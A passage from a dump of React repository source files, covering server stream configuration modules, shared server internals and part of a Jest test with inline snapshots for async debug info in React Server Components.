    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type Destination = {\n  buffer: string,\n  done: boolean,\n  fatal: boolean,\n  error: mixed,\n};\n\nexport opaque type PrecomputedChunk = string;\nexport opaque type Chunk = string;\nexport opaque type BinaryChunk = string;\n\nexport function flushBuffered(destination: Destination) {}\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n\nexport function beginWriting(destination: Destination) {}\n\nexport function writeChunk(\n  destination: Destination,\n  chunk: Chunk | PrecomputedChunk | BinaryChunk,\n): void {\n  destination.buffer += chunk;\n}\n\nexport function writeChunkAndReturn(\n  destination: Destination,\n  chunk: Chunk | PrecomputedChunk | BinaryChunk,\n): boolean {\n  destination.buffer += chunk;\n  return true;\n}\n\nexport function completeWriting(destination: Destination) {}\n\nexport function close(destination: Destination) {\n  destination.done = true;\n}\n\nexport function stringToChunk(content: string): Chunk {\n  return content;\n}\n\nexport function stringToPrecomputedChunk(content: string): PrecomputedChunk {\n  return content;\n}\n\nexport function typedArrayToBinaryChunk(\n  content: $ArrayBufferView,\n): BinaryChunk {\n  throw new Error('Not implemented.');\n}\n\nexport const byteLengthOfChunk:\n  | null\n  | ((chunk: Chunk | PrecomputedChunk) => number) = null;\n\nexport function byteLengthOfBinaryChunk(chunk: BinaryChunk): number {\n  throw new Error('Not implemented.');\n}\n\nexport function closeWithError(destination: Destination, error: mixed): void {\n  destination.done = true;\n  destination.fatal = true;\n  destination.error = error;\n}\n\nexport {createFastHashJS as createFastHash} from './createFastHashJS';\n\nexport function readAsDataURL(blob: Blob): Promise<string> {\n  throw new Error('Not implemented.');\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactServerStreamConfigNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Writable} from 'stream';\n\nimport {TextEncoder} from 'util';\nimport {createHash} from 'crypto';\n\ninterface MightBeFlushable {\n  flush?: () => void;\n}\n\nexport type Destination = Writable & MightBeFlushable;\n\nexport type PrecomputedChunk = Uint8Array;\nexport opaque type Chunk = string;\nexport type BinaryChunk = Uint8Array;\n\nexport function scheduleWork(callback: () => void) {\n  setImmediate(callback);\n}\n\nexport const scheduleMicrotask = queueMicrotask;\n\nexport function flushBuffered(destination: Destination) {\n  // If we don't have any more data to send right now.\n  // Flush whatever is in the buffer to the wire.\n  if (typeof destination.flush === 'function') {\n    // By convention the Zlib streams provide a flush function for this purpose.\n    // For Express, compression middleware adds this method.\n    destination.flush();\n  }\n}\n\n// Chunks larger than VIEW_SIZE are written directly, without copying into the\n// internal view buffer. This must be at least half of Node's internal Buffer\n// pool size (8192) to avoid corrupting the pool when using\n// renderToReadableStream, which uses a byte stream that detaches ArrayBuffers.\nconst VIEW_SIZE = 4096;\nlet currentView = null;\nlet writtenBytes = 0;\nlet destinationHasCapacity = true;\n\nexport function beginWriting(destination: Destination) {\n  currentView = new Uint8Array(VIEW_SIZE);\n  writtenBytes = 0;\n  destinationHasCapacity = true;\n}\n\nfunction writeStringChunk(destination: Destination, stringChunk: string) {\n  if (stringChunk.length === 0) {\n    return;\n  }\n  // maximum possible view needed to encode entire string\n  if (stringChunk.length * 3 > VIEW_SIZE) {\n    if (writtenBytes > 0) {\n      writeToDestination(\n        destination,\n        ((currentView: any): Uint8Array).subarray(0, writtenBytes),\n      );\n      currentView = new Uint8Array(VIEW_SIZE);\n      writtenBytes = 0;\n    }\n    // Write the raw string chunk and let the consumer handle the encoding.\n    writeToDestination(destination, stringChunk);\n    return;\n  }\n\n  let target: Uint8Array = (currentView: any);\n  if (writtenBytes > 0) {\n    target = ((currentView: any): Uint8Array).subarray(writtenBytes);\n  }\n  const {read, written} = textEncoder.encodeInto(stringChunk, target);\n  writtenBytes += written;\n\n  if (read < stringChunk.length) {\n    writeToDestination(\n      destination,\n      (currentView: any).subarray(0, writtenBytes),\n    );\n    currentView = new Uint8Array(VIEW_SIZE);\n    writtenBytes = textEncoder.encodeInto(\n      stringChunk.slice(read),\n      (currentView: any),\n    ).written;\n  }\n\n  if (writtenBytes === VIEW_SIZE) {\n    writeToDestination(destination, (currentView: any));\n    currentView = new Uint8Array(VIEW_SIZE);\n    writtenBytes = 0;\n  }\n}\n\nfunction writeViewChunk(\n  destination: Destination,\n  chunk: PrecomputedChunk | BinaryChunk,\n) {\n  if (chunk.byteLength === 0) {\n    return;\n  }\n  if (chunk.byteLength > VIEW_SIZE) {\n    // this chunk may overflow a single view which implies it was not\n    // one that is cached by the streaming renderer. We will enqueu\n    // it directly and expect it is not re-used\n    if (writtenBytes > 0) {\n      writeToDestination(\n        destination,\n        ((currentView: any): Uint8Array).subarray(0, writtenBytes),\n      );\n      currentView = new Uint8Array(VIEW_SIZE);\n      writtenBytes = 0;\n    }\n    writeToDestination(destination, chunk);\n    return;\n  }\n\n  let bytesToWrite = chunk;\n  const allowableBytes = ((currentView: any): Uint8Array).length - writtenBytes;\n  if (allowableBytes < bytesToWrite.byteLength) {\n    // this chunk would overflow the current view. We enqueue a full view\n    // and start a new view with the remaining chunk\n    if (allowableBytes === 0) {\n      // the current view is already full, send it\n      writeToDestination(destination, (currentView: any));\n    } else {\n      // fill up the current view and apply the remaining chunk bytes\n      // to a new view.\n      ((currentView: any): Uint8Array).set(\n        bytesToWrite.subarray(0, allowableBytes),\n        writtenBytes,\n      );\n      writtenBytes += allowableBytes;\n      writeToDestination(destination, (currentView: any));\n      bytesToWrite = bytesToWrite.subarray(allowableBytes);\n    }\n    currentView = new Uint8Array(VIEW_SIZE);\n    writtenBytes = 0;\n  }\n  ((currentView: any): Uint8Array).set(bytesToWrite, writtenBytes);\n  writtenBytes += bytesToWrite.byteLength;\n\n  if (writtenBytes === VIEW_SIZE) {\n    writeToDestination(destination, (currentView: any));\n    currentView = new Uint8Array(VIEW_SIZE);\n    writtenBytes = 0;\n  }\n}\n\nexport function writeChunk(\n  destination: Destination,\n  chunk: PrecomputedChunk | Chunk | BinaryChunk,\n): void {\n  if (typeof chunk === 'string') {\n    writeStringChunk(destination, chunk);\n  } else {\n    writeViewChunk(destination, ((chunk: any): PrecomputedChunk | BinaryChunk));\n  }\n}\n\nfunction writeToDestination(\n  destination: Destination,\n  view: string | Uint8Array,\n) {\n  const currentHasCapacity = destination.write(view);\n  destinationHasCapacity = destinationHasCapacity && currentHasCapacity;\n}\n\nexport function writeChunkAndReturn(\n  destination: Destination,\n  chunk: PrecomputedChunk | Chunk,\n): boolean {\n  writeChunk(destination, chunk);\n  return destinationHasCapacity;\n}\n\nexport function completeWriting(destination: Destination) {\n  if (currentView && writtenBytes > 0) {\n    destination.write(currentView.subarray(0, writtenBytes));\n  }\n  currentView = null;\n  writtenBytes = 0;\n  destinationHasCapacity = true;\n}\n\nexport function close(destination: Destination) {\n  destination.end();\n}\n\nexport const textEncoder: TextEncoder = new TextEncoder();\n\nexport function stringToChunk(content: string): Chunk {\n  return content;\n}\n\nexport function stringToPrecomputedChunk(content: string): PrecomputedChunk {\n  const precomputedChunk = textEncoder.encode(content);\n\n  if (__DEV__) {\n    if (precomputedChunk.byteLength > VIEW_SIZE) {\n      console.error(\n        'precomputed chunks must be smaller than the view size configured for this host. This is a bug in React.',\n      );\n    }\n  }\n\n  return precomputedChunk;\n}\n\nexport function typedArrayToBinaryChunk(\n  content: $ArrayBufferView,\n): BinaryChunk {\n  // Convert any non-Uint8Array array to Uint8Array. We could avoid this for Uint8Arrays.\n  return new Uint8Array(content.buffer, content.byteOffset, content.byteLength);\n}\n\nexport function byteLengthOfChunk(chunk: Chunk | PrecomputedChunk): number {\n  return typeof chunk === 'string'\n    ? Buffer.byteLength(chunk, 'utf8')\n    : chunk.byteLength;\n}\n\nexport function byteLengthOfBinaryChunk(chunk: BinaryChunk): number {\n  return chunk.byteLength;\n}\n\nexport function closeWithError(destination: Destination, error: mixed): void {\n  // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.\n  destination.destroy(error);\n}\n\nexport function createFastHash(input: string): string | number {\n  const hash = createHash('md5');\n  hash.update(input);\n  return hash.digest('hex');\n}\n\nexport function readAsDataURL(blob: Blob): Promise<string> {\n  return blob.arrayBuffer().then(arrayBuffer => {\n    const encoded = Buffer.from(arrayBuffer).toString('base64');\n    const mimeType = blob.type || 'application/octet-stream';\n    return 'data:' + mimeType + ';base64,' + encoded;\n  });\n}\n"
  },
  {
    "path": "packages/react-server/src/ReactSharedInternalsServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {SharedStateServer} from 'react/src/ReactSharedInternalsServer';\n\nimport * as React from 'react';\n\nconst ReactSharedInternalsServer: SharedStateServer =\n  // $FlowFixMe: It's defined in the one we resolve to.\n  React.__SERVER_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\n\nif (!ReactSharedInternalsServer) {\n  throw new Error(\n    'The \"react\" package in this environment is not configured correctly. ' +\n      'The \"react-server\" condition must be enabled in any environment that ' +\n      'runs React Server Components.',\n  );\n}\n\nexport default ReactSharedInternalsServer;\n"
  },
  {
    "path": "packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
    "content": "/**\n * @jest-environment node\n */\n'use strict';\n\nimport {patchSetImmediate} from '../../../../scripts/jest/patchSetImmediate';\n\nimport crypto from 'crypto';\nimport fs from 'fs/promises';\nimport path from 'path';\n\nlet React;\nlet ReactServer;\nlet cache;\nlet ReactServerDOMServer;\nlet ReactServerDOMClient;\nlet Stream;\nlet observer;\nlet getDebugInfo;\n\nconst streamOptions = {\n  objectMode: true,\n};\n\nfunction filterStackFrame(filename, functionName) {\n  return (\n    !filename.startsWith('node:') &&\n    !filename.includes('node_modules') &&\n    // Filter out our own internal source code since it'll typically be in node_modules\n    (!filename.includes('/packages/') || filename.includes('/__tests__/')) &&\n    !filename.includes('/build/') &&\n    !functionName.includes('internal_')\n  );\n}\n\ndescribe('ReactFlightAsyncDebugInfo', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    jest.useRealTimers();\n    patchSetImmediate();\n    global.console = require('console');\n\n    jest.mock('react', () => require('react/react.react-server'));\n    jest.mock('react-server-dom-webpack/server', () =>\n      jest.requireActual('react-server-dom-webpack/server.node'),\n    );\n    ReactServer = require('react');\n    ReactServerDOMServer = require('react-server-dom-webpack/server');\n    cache = ReactServer.cache;\n\n    jest.resetModules();\n    jest.useRealTimers();\n    patchSetImmediate();\n\n    __unmockReact();\n    jest.unmock('react-server-dom-webpack/server');\n    jest.mock('react-server-dom-webpack/client', () =>\n      jest.requireActual('react-server-dom-webpack/client.node'),\n    );\n\n    React = require('react');\n    ReactServerDOMClient = require('react-server-dom-webpack/client');\n    Stream = require('stream');\n\n    getDebugInfo = require('internal-test-utils').getDebugInfo.bind(null, {\n      ignoreProps: true,\n      useFixedTime: true,\n    });\n  });\n\n  afterEach(() => {\n    observer?.disconnect();\n    observer = undefined;\n  });\n\n  function finishLoadingStream(readable) {\n    return new Promise(resolve => {\n      if (readable.readableEnded) {\n        resolve();\n      } else {\n        readable.on('end', () => resolve());\n      }\n    });\n  }\n\n  function delay(timeout) {\n    return new Promise(resolve => {\n      setTimeout(resolve, timeout);\n    });\n  }\n\n  function fetchThirdParty(Component) {\n    const stream = ReactServerDOMServer.renderToPipeableStream(\n      <Component />,\n      {},\n      {\n        environmentName: 'third-party',\n      },\n    );\n    const readable = new Stream.PassThrough(streamOptions);\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n    return result;\n  }\n\n  it('can track async information when awaited', async () => {\n    async function getData(text) {\n      await delay(1);\n      const promise = delay(2);\n      promise.displayName = 'hello';\n      await Promise.all([promise]);\n      return text.toUpperCase();\n    }\n\n    async function Component() {\n      const result = await getData('hi');\n      const moreData = getData('seb');\n      return <InnerComponent text={result} promise={moreData} />;\n    }\n\n    async function InnerComponent({text, promise}) {\n      // This async function depends on the I/O in parent components but it should not\n      // include that I/O as part of its own meta data.\n      return text + ', ' + (await promise);\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('HI, SEB');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                130,\n                109,\n                109,\n                50,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    130,\n                    109,\n                    109,\n                    50,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"getData\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  111,\n                  13,\n                  110,\n                  5,\n                ],\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  119,\n                  26,\n                  118,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Component\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  130,\n                  109,\n                  109,\n                  50,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"getData\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                111,\n                13,\n                110,\n                5,\n              ],\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                119,\n                26,\n                118,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"hello\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    130,\n                    109,\n                    109,\n                    50,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"getData\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  112,\n                  21,\n                  110,\n                  5,\n                ],\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  119,\n                  20,\n                  118,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Component\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  130,\n                  109,\n                  109,\n                  50,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"getData\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                114,\n                21,\n                110,\n                5,\n              ],\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                119,\n                20,\n                118,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"InnerComponent\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                121,\n                60,\n                118,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"hello\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    130,\n                    109,\n                    109,\n                    50,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"getData\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  112,\n                  21,\n                  110,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"InnerComponent\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  121,\n                  60,\n                  118,\n                  5,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"InnerComponent\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                127,\n                35,\n                124,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"byteSize\": 0,\n              \"end\": 0,\n              \"name\": \"rsc stream\",\n              \"owner\": null,\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"stream\",\n              },\n            },\n          },\n        ]\n      `);\n    }\n  });\n\n  it('adds a description to I/O', async () => {\n    async function getData(url) {\n      // just wait a macrotask for this call to get picked up\n      await new Promise(resolve => {\n        setTimeout(() => {\n          const fakeResponse = {url};\n          resolve(fakeResponse);\n        }, 1);\n      });\n    }\n\n    async function Component() {\n      await getData('http://github.com/facebook/react/pulls');\n      await getData('http://github.com/facebook/react/pulls/');\n      await getData(\n        'https://this-is-a-very-long-domain-name-what-happens.app/test',\n      );\n      await getData(\n        'https://github.com/facebook/react/commit/75897c2dcd1dd3a6ca46284dd37e13d22b4b16b4',\n      );\n      await getData('/this-is-a-very-long-directory-name-what-happens/');\n      await getData('/this-is-not');\n      return 'Hi, Sebbie';\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(\n      readable,\n      {\n        moduleMap: {},\n        moduleLoading: {},\n      },\n      {replayConsoleLogs: true},\n    );\n    stream.pipe(readable);\n\n    expect(await result).toBe('Hi, Sebbie');\n\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      let gotEntries;\n      const hasEntries = new Promise(resolve => {\n        gotEntries = resolve;\n      });\n      const entries = [];\n      observer = new PerformanceObserver(list => {\n        // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n        for (const entry of list.getEntries()) {\n          const {name} = entry;\n          entries.push({name});\n        }\n        gotEntries();\n      }).observe({type: 'measure'});\n\n      await hasEntries;\n      await finishLoadingStream(readable);\n\n      expect(entries).toMatchInlineSnapshot(`\n        [\n          {\n            \"name\": \"\\u200bComponent\",\n          },\n          {\n            \"name\": \"await getData (…/pulls)\",\n          },\n          {\n            \"name\": \"await getData (…/pulls)\",\n          },\n          {\n            \"name\": \"await getData (…/test)\",\n          },\n          {\n            \"name\": \"await getData (…/75897c2dcd…13d22b4b16b4)\",\n          },\n          {\n            \"name\": \"await getData (/this-is-a-…what-happens)\",\n          },\n          {\n            \"name\": \"await getData (/this-is-not)\",\n          },\n        ]\n      `);\n    } else {\n      await finishLoadingStream(readable);\n    }\n  });\n\n  it('can track async information when use()d', async () => {\n    async function getData(text) {\n      await delay(1);\n      return text.toUpperCase();\n    }\n\n    function Component() {\n      const result = ReactServer.use(getData('hi'));\n      const moreData = getData('seb');\n      return <InnerComponent text={result} promise={moreData} />;\n    }\n\n    function InnerComponent({text, promise}) {\n      // This async function depends on the I/O in parent components but it should not\n      // include that I/O as part of its own meta data.\n      return text + ', ' + ReactServer.use(promise);\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(\n      <Component />,\n      {},\n      {\n        filterStackFrame,\n      },\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('HI, SEB');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                590,\n                40,\n                571,\n                49,\n              ],\n              [\n                \"new Promise\",\n                \"\",\n                0,\n                0,\n                0,\n                0,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    590,\n                    40,\n                    571,\n                    49,\n                  ],\n                  [\n                    \"new Promise\",\n                    \"\",\n                    0,\n                    0,\n                    0,\n                    0,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"getData\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  573,\n                  13,\n                  572,\n                  5,\n                ],\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  578,\n                  36,\n                  577,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Component\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  590,\n                  40,\n                  571,\n                  49,\n                ],\n                [\n                  \"new Promise\",\n                  \"\",\n                  0,\n                  0,\n                  0,\n                  0,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"getData\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                573,\n                13,\n                572,\n                5,\n              ],\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                578,\n                36,\n                577,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"InnerComponent\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Component\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                580,\n                60,\n                577,\n                5,\n              ],\n            ],\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"delay\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    590,\n                    40,\n                    571,\n                    49,\n                  ],\n                  [\n                    \"new Promise\",\n                    \"\",\n                    0,\n                    0,\n                    0,\n                    0,\n                  ],\n                ],\n              },\n              \"stack\": [\n                [\n                  \"delay\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  87,\n                  12,\n                  86,\n                  3,\n                ],\n                [\n                  \"getData\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  573,\n                  13,\n                  572,\n                  5,\n                ],\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  579,\n                  22,\n                  577,\n                  5,\n                ],\n              ],\n              \"start\": 0,\n              \"value\": {\n                \"value\": undefined,\n              },\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"InnerComponent\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Component\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  580,\n                  60,\n                  577,\n                  5,\n                ],\n              ],\n            },\n            \"stack\": [\n              [\n                \"InnerComponent\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                586,\n                40,\n                583,\n                5,\n              ],\n            ],\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"byteSize\": 0,\n              \"end\": 0,\n              \"name\": \"rsc stream\",\n              \"owner\": null,\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"stream\",\n              },\n            },\n          },\n        ]\n      `);\n    }\n  });\n\n  it('cannot currently track the start of I/O when no native promise is used', async () => {\n    function Component() {\n      const callbacks = [];\n      setTimeout(function timer() {\n        callbacks.forEach(callback => callback('hi'));\n      }, 5);\n      return {\n        then(callback) {\n          callbacks.push(callback);\n        },\n      };\n    }\n\n    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    const result = ReactServerDOMClient.createFromNodeStream(readable, {\n      moduleMap: {},\n      moduleLoading: {},\n    });\n    stream.pipe(readable);\n\n    expect(await result).toBe('hi');\n\n    await finishLoadingStream(readable);\n    if (\n      __DEV__ &&\n      gate(\n        flags =>\n          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,\n      )\n    ) {\n      expect(getDebugInfo(result)).toMatchInlineSnapshot(`\n        [\n          {\n            \"time\": 0,\n          },\n          {\n            \"env\": \"Server\",\n            \"key\": null,\n            \"name\": \"Component\",\n            \"props\": {},\n            \"stack\": [\n              [\n                \"Object.<anonymous>\",\n                \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                897,\n                109,\n                884,\n                80,\n              ],\n            ],\n          },\n          {\n            \"awaited\": {\n              \"end\": 0,\n              \"env\": \"Server\",\n              \"name\": \"\",\n              \"owner\": {\n                \"env\": \"Server\",\n                \"key\": null,\n                \"name\": \"Component\",\n                \"props\": {},\n                \"stack\": [\n                  [\n                    \"Object.<anonymous>\",\n                    \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                    897,\n                    109,\n                    884,\n                    80,\n                  ],\n                ],\n              },\n              \"start\": 0,\n            },\n            \"env\": \"Server\",\n            \"owner\": {\n              \"env\": \"Server\",\n              \"key\": null,\n              \"name\": \"Component\",\n              \"props\": {},\n              \"stack\": [\n                [\n                  \"Object.<anonymous>\",\n                  \"/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js\",\n                  897,\n                  109,\n                  884,\n                  80,\n                ],\n              ],\n            },\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"time\": 0,\n          },\n          {\n            \"awaited\": {\n              \"byteSize\": 0,\n              \"end\": 0,\n              \"name\": \"rsc stream\",\n              \"owner\": null,\n              \"start\": 0,\n              \"value\": {\n                \"value\": \"stream\",\n              